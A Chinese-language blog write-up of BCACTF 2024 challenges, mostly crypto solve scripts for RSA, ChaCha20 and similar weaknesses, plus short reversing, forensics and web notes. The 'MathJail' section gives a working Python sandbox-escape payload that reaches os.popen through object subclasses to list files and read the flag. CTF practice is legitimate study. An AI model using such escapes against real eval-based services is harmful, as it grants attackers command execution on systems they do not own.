naby

导航

BCACTF2024

被拉去打R3,结果啥都不会,就装模做样写了两道mc。
趁假期最后一天找了个比赛玩玩,就挑了解多的写。
但最近给我的直观感受,就是什么题都要nc了。
不单单是简单的附件题了,更多要考察代码审计和脚本编写了。

crypto

难度还行。但我对椭圆曲线太不熟了,r3里也有,但我就算看懂了,也不知道怎么用。。。

pip install pwntools

Superstitious 2

(我通常选择直接在源码的文件中写exp)

分析:
正常的rsa加密,但是考察素数的选择。
通过自己输出 ((1 << 1024) - 1)//3 可以发现,都是1010101...01这样的循环。
所以就是考察dfs剪枝

from Crypto.Util.number import *
"""def myGetPrime():
    while True:
        x = getRandomNBitInteger(1024) & ((1 << 1024) - 1)//3
        if isPrime(x):
            return x
p = myGetPrime()
q = myGetPrime()
n = p * q
e = 65537
message = open('flag.txt', 'rb')
m = bytes_to_long(message.read())
c = pow(m, e, n)
open("superstitious-2.txt", "w").write(f"n = {n}\ne = {e}\nc = {c}")"""
n = 550201148354755741271315125069984668413716061796183554308291706476140978529375848655819753667593579308959498512392008673328929157581219035186964125404507736120739215348759388064536447663960474781494820693212364523703341226714116205457869455356277737202439784607342540447463472816215050993875701429638490180199815506308698408730404219351173549572700738532419937183041379726568197333982735249868511771330859806268212026233242635600099895587053175025078998220267857284923478523586874031245098448804533507730432495577952519158565255345194711612376226297640371430160273971165373431548882970946865209008499974693758670929
e = 65537
c = 12785320910832143088122342957660384847883123024416376075086619647021969680401296902000223390419402987207599720081750892719692986089224687862496368722454869160470101334513312534671470957897816352186267364039566768347665078311312979099890672319750445450996125821736515659224070277556345919426352317110605563901547710417861311613471239486750428623317970117574821881877688142593093266784366282508041153548993479036139219677970329934829870592931817113498603787339747542136956697591131562660228145606363369396262955676629503331736406313979079546532031753085902491581634604928829965989997727970438591537519511620204387132
"""def findflag(p, q):
    if len(p) == 1024:
        pp = int(p,2)
        if n % pp == 0:
            p = pp
            q = n // pp
            print(p)
            print(q)
            exit()
    else:
        l = len(p)
        pp = int(p,2)
        qq = int(q,2)
        if pp * qq % (2**l) == n % (2**l):
            findflag("00" + p, "01" + q)
            findflag("01" + p, "01" + q)
            findflag("00" + p, "00" + q)
            findflag("01" + p, "00" + q)
findflag("01", "01")"""
from gmpy2 import *
p=47981816076831973450909530669541706953770597006817333749891020556945477629662108524163405141438024312107792294535273473111389298189846712963818162954497000930546383005418285868804270188594230163069868709422261521819309406460567627868198499351382463630966329988388255592530605189569811432880392671877694493697
q=11466867937506443031079406557463511000236825156042986330491372554263065048494616429572254582549332374593524344514321333368747919034845244563606383834070804967345648840205613712911286600828703809116499141392947298788689558078395325755136448592591616295144118450804581480471547613492025968699740517273286296657
print(long_to_bytes(pow(c,invert(e,(p-1)*(q-1)),n)))

Cha-Cha Slide

就是正常的chacha20加解密,但是主要考察如何用nc来解决。

chacha20主要是对密钥进行操作
对明文的加密就是简单的异或操作
所以我们自己创造明文,得到对应的密文
我们就可以知道操作后的密钥
再跟 服务器消息 进行异或,就是需要的明文了

"""from Crypto.Cipher import ChaCha20

from os import urandom

key = urandom(32)
nonce = urandom(12)

secret_msg = urandom(16).hex()

def encrypt_msg(plaintext):
    cipher = ChaCha20.new(key=key, nonce=nonce)
    return cipher.encrypt(plaintext.encode()).hex()

print('Secret message:')
print(encrypt_msg(secret_msg))

print('\nEnter your message:')
user_msg = input()

if len(user_msg) > 256:
    print('\nToo long!')
    exit()

print('\nEncrypted:')
print(encrypt_msg(user_msg))

print('\nEnter decrypted secret message:')
decrypted_secret_msg = input()

if len(decrypted_secret_msg) == len(secret_msg):
    if decrypted_secret_msg == secret_msg:
        with open('../flag.txt') as file:
            print('\n' + file.read())
        exit()

print('\nIncorrect!')"""

from Crypto.Util.number import *
from pwn import *
from os import urandom
from Crypto.Cipher import ChaCha20
p=remote("challs.bcactf.com",31594)

user_msg = b'nabynabynabynabynabynabynabynaby'

p.recvuntil(b'Secret message:\n')
sm=int(p.recvline(),16)

p.sendline(user_msg)

p.recvuntil(b'Encrypted:\n')
cm=int(p.recvline(),16)

flag=sm^(cm^bytes_to_long(user_msg))
p.sendline(long_to_bytes(flag))

p.interactive()
#bcactf{b3_C4rEFu1_wItH_crypT0Gr4phy_7d12be3b}

RSAEncrypter

正常的rsa加密
但是e很小,而且我们可以多次获得n和c
而且排除广播攻击,就是利用crt了

"""from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes


message = open("./flag.txt").read().encode('utf-8')  


def encode():
    n = getPrime(512)*getPrime(512)
    ciphertext = pow(bytes_to_long(message), 3, n)
    return (ciphertext, n)

print("Return format: (ciphertext, modulus)")
print(encode())
sent = input("Did you recieve the message? (y/n) ")
while sent=='n':
    print(encode())
    sent = input("How about now? (y/n) ")
print("Message acknowledged.")"""

from gmpy2 import *
from Crypto.Util.number import *
from pwn import *
from sympy.ntheory.modular import crt

c=[]
n=[]
p=remote("challs.bcactf.com",31452)

p.recvline()
enc=eval(p.recvline().decode()) # eval可以将 tuple字符串 形式转为 tuple

c.append(enc[0])
n.append(enc[1])


p.sendlineafter(b'Did you recieve the message? (y/n) ',b'n')
enc=eval(p.recvline().decode())
c.append(enc[0])
n.append(enc[1])



for i in range(5):
    p.sendlineafter(b'How about now? (y/n) ',b'n')
    enc=eval(p.recvline().decode())
    c.append(enc[0])
    n.append(enc[1])

#使用中国余数定理计算m的e次方
x = crt(n, c, check=True)
print(long_to_bytes(iroot(x[0],3)[0]))
# b'bcactf{those_were_some_rather_large_numbersosvhb9wrp8ghed}'
p.interactive()

Encryptor Shop

就是简单的公用素数问题
可以直接nc交互获取数据,我这里练习一下脚本编写

"""from Crypto.Util.number import *

p = getPrime(1024)
q = getPrime(1024)
r = getPrime(1024)
n = p * q
phi = (p - 1) * (q - 1)
e = 65537
d = pow(e, -1, phi)

print("Welcome to the enc-shop!")
print("What can I encrypt for you today?")


for _ in range(3):
    message = input("Enter text to encrypt: ")
    m = bytes_to_long(message.encode())
    c = pow(m, e, n)
    print(f"Here is your encrypted message: {c}")
    print(f"c = {c}")
    print("Here is the public key for your reference:")
    print(f"n = {n}")
    print(f"e = {e}")
    
print("Thank you for encrypting with us!")
print("In order to guarantee the security of your data, we will now let you view the encrypted flag.")
x=input("Would you like to view it? (yes or no) ")

if x.lower() == "yes":
    with open("flag.txt", "r") as f:
        flag = f.read().strip()
    m = bytes_to_long(flag.encode())
    n = p*r
    c = pow(m, e, n)
    print(f"Here is the encrypted flag: {c}")
    print("Here is the public key for your reference:")
    print(f"n = {n}")"""
from gmpy2 import *
from Crypto.Util.number import *
from pwn import *

p=remote("challs.bcactf.com",31704)

for i in range(3):
    p.recvuntil(b'encrypt: ')
    p.sendline(b'1')

p.recvuntil(b'c = ')
c=int(p.recvline().decode())

p.recvuntil(b'n = ')
n1=int(p.recvline().decode())

e=65537

p.sendlineafter(b'(yes or no) ',b'yes')

p.recvuntil(b'flag: ')
m=int(p.recvline().decode())

p.recvuntil(b'n = ')
n2=int(p.recvline().decode())

p=gcd(n1,n2)

print(long_to_bytes(pow(m,invert(e,(p-1)*(n2//p-1)),n2)))
#b'bcactf{w0w_@lg3br@_d3in48uth934r}'

Vinegar Times 3

key - vinegar
cipher 0 - mmqaonv
cipher 1 - seooizmt
cipher 2 - bdoloeinbdjmmyg <- THIS ONE

依次解密,每次维吉尼亚密钥就是上一次解出来的东西
c0->redwine
c1->balsamic
c2->addtosaladyummy

题目说要添加下划线,这里自己根据单词添加一下
bcactf{add_to_salad_yummy}

应该是这个,结束了复现不让提交

rad-be-damned

分析:
读取flag每个字符
encrypt最后得到是这个字符的二进制+一些异或操作,具体什么操作可以不在乎
rad对encrypt操作后的值,从0-11位随机选取一位异或1

解题:
读取文件,每12位一组,前8位是字符的二进制,后4位是操作
我们可以直接进行爆破,对这12位每位都进行依次异或1
然后取前8位进行encrypt操作,看看得到的结果是不是对应的

"""import random
def find_leftmost_set_bit(plaintext):
    pos = 0
    while plaintext > 0:
        plaintext = plaintext >> 1
        pos += 1
    return pos

def encrypt(plaintext: str):
    enc_plaintext = ""

    for letter in plaintext:
        cp = int("10011", 2)
        cp_length = cp.bit_length()
        bin_letter, rem = ord(letter), ord(letter) * 2**(cp_length - 1)
        print(bin(rem)[2:])
        while (rem.bit_length() >= cp_length):
            first_pos = find_leftmost_set_bit(rem)
            rem = rem ^ (cp << (first_pos - cp_length))
            print(bin(rem)[2:])
        print(chr(bin_letter))
        print(format(bin_letter, "08b"))
        enc_plaintext += format(bin_letter, "08b") + format(rem, "0" + f"{cp_length - 1}" + "b")

    return enc_plaintext
def rad(text: str):
    corrupted_str = ""
    for ind in range(0, len(text), 12):
        bit_mask = 2 ** (random.randint(0, 11))
        snippet = int(text[ind : ind + 12], base = 2)
        rad_str = snippet ^ bit_mask
        corrupted_str += format(rad_str, "012b")
    return corrupted_str

def main():
    plaintext="c"
    enc_plaintext = encrypt(plaintext)
    print(enc_plaintext)
    cor_text = rad(enc_plaintext)

if __name__ == '__main__':
    main()"""

import random


def find_leftmost_set_bit(plaintext):
    pos = 0
    while plaintext > 0:
        plaintext = plaintext >> 1
        pos += 1
    return pos


def encrypt(plaintext: str):
    enc_plaintext = ""
    for letter in plaintext:
        cp = int("10011", 2)
        cp_length = cp.bit_length()
        bin_letter, rem = ord(letter), ord(letter) * 2 ** (cp_length - 1)
        while (rem.bit_length() >= cp_length):
            first_pos = find_leftmost_set_bit(rem)
            rem = rem ^ (cp << (first_pos - cp_length))
        enc_plaintext += format(bin_letter, "08b") + format(rem, "0" + f"{cp_length - 1}" + "b")

    return enc_plaintext


def decrypt_encrypted_bin(enc_bin):
    plaintext = ""
    for i in enc_bin:
        for j in range(12):
            a = format(int(i, 2) ^ (2 ** j), "012b")
            pre = int(a[:8], 2)

            b = encrypt(chr(pre))
            if b == a:
                print(chr(pre), end="")

    return plaintext


def rad_reverse(text: str):
    original = []
    for ind in range(0, len(text), 12):
        snippet = int(text[ind: ind + 12], base=2)
        original_str = format(snippet, "012b")
        original.append(original_str)
    return original


def main():
    with open('output.txt') as f:
        cor_text = f.read().strip()
    original_enc_bin = rad_reverse(cor_text)
    print(decrypt_encrypted_bin(original_enc_bin))


if __name__ == '__main__':
    main()

#bcactf{yumMY-y311OWC4ke-x7CwKqQc5fLquE51V-jMUA-aG9sYS1jb21vLWVzdGFz}

binex

Inaccessible

考察调试
gdb运行之后,直接jump win

foren

23-719

打开附件,搜索bcactf可以发现有flag

我是直接ctrl+a全选然后复制到word里打开看有了

Chalkboard Gag

写个脚本就行了,看看有没有不一样的输出就好

b="I WILL NOT BE SNEAKY"
with open('chalkboardgag.txt','r') as f:
    line=f.readline()
    while line:
        line=line.strip()
        for i in range(len(line)):
            if line[i]!=b[i]:
                print(line[i],end="")
        line=f.readline()
#bcactf{BaRT_W0U1D_B3_PR0uD}

Sea Scavenger

每个小动物点击去就是分段的flag

shark:f12源代码注释里 bcactf{b3
squid:源代码js文件里 t_y0u_d1
clam: 源代码js文件里,貌似应该是cookie里的 dnt_f1n
shipwreck:数据包头里 d_th3_tr
whale:源代码js文件里 e4sur3
treasure:有提示robots,就在robots.txt里 _t336e3}

bcactf{b3t_y0u_d1dnt_f1nd_th3_tre4sur3_t336e3}

misc

MathJail

nc版的ssti
写脚本爆破一下subclass看看哪一个类是os就好了

"""print("Welcome to your friendly python calculator!")
equation = input("Enter your equation below and I will give you the answer:\n")
while equation!="e":
    answer = eval(equation, {"__builtins__":{}},{})
    print(f"Here is your answer: {answer}")
    equation = input("Enter your next equation below (type 'e' to exit):\n")
print("Goodbye!")"""

from pwn import *
p=remote("challs.bcactf.com",31289)
p.recvuntil(b'answer:\n')

#扫描类
"""for i in range(200):
    payload=b'{[].__class__.__base__.__subclasses__()['+str(i).encode()+b']}'
    p.sendline(payload)
    print(i,p.recvline())
    res=p.recvline()"""
#154 b"Here is your answer: {<class 'os._wrap_close'>}\n"

#查看目录
#payload=b'{[].__class__.__base__.__subclasses__()[154].__init__.__globals__[\'popen\'](\'ls\').read()}'
#Here is your answer: {'flag.txt\npycalculator.py\nynetd\nynetd.c\n'}

payload=b'{[].__class__.__base__.__subclasses__()[154].__init__.__globals__[\'popen\'](\'cat flag.txt\').read()}'
p.sendline(payload)
#Here is your answer: {'bcactf{math_is_so_difficult_right?8943yfg09whgh3r89ghwerp}'}
p.interactive()

Discord

discord中的rules中,点进去会出现提示跳转就是了

rev

Broken C Code

跳过0000每个数据都处理就好了

from math import sqrt
b=[0x2587,0x264c,0x24c4,0x264c,0x3493,0x28a7,0x3b1c,0x264c,0x2344,0x264c,0x0903,0x2713,0x129c,0x2344,0x28a7,0x14d4,0x1e43,0x27dc,0x1213,0x2344,0x0bd4,0x1443,0x0a93,0x17c7,0x15fc,0x0afc,0x2344,0x0bd4,0x0b67,0x09c7,0x0a93,0x0bd4,0x0c43,0x09c7,0x0bd4,0x0b67,0x3d0c,0x0067]
for i in range(len(b)):
    print(chr(int(sqrt(b[i]-3))),end="")
#bcactf{c_c0dE_fIXeD_7H4NK5_762478276}

XOR

nc获取flag
文件idea打开获取异或密钥

Flagtureiser

jeb_pro打开看伪代码就行了

posted on 2024-06-11 09:59  Naby  阅读(41)  评论(0编辑  收藏  举报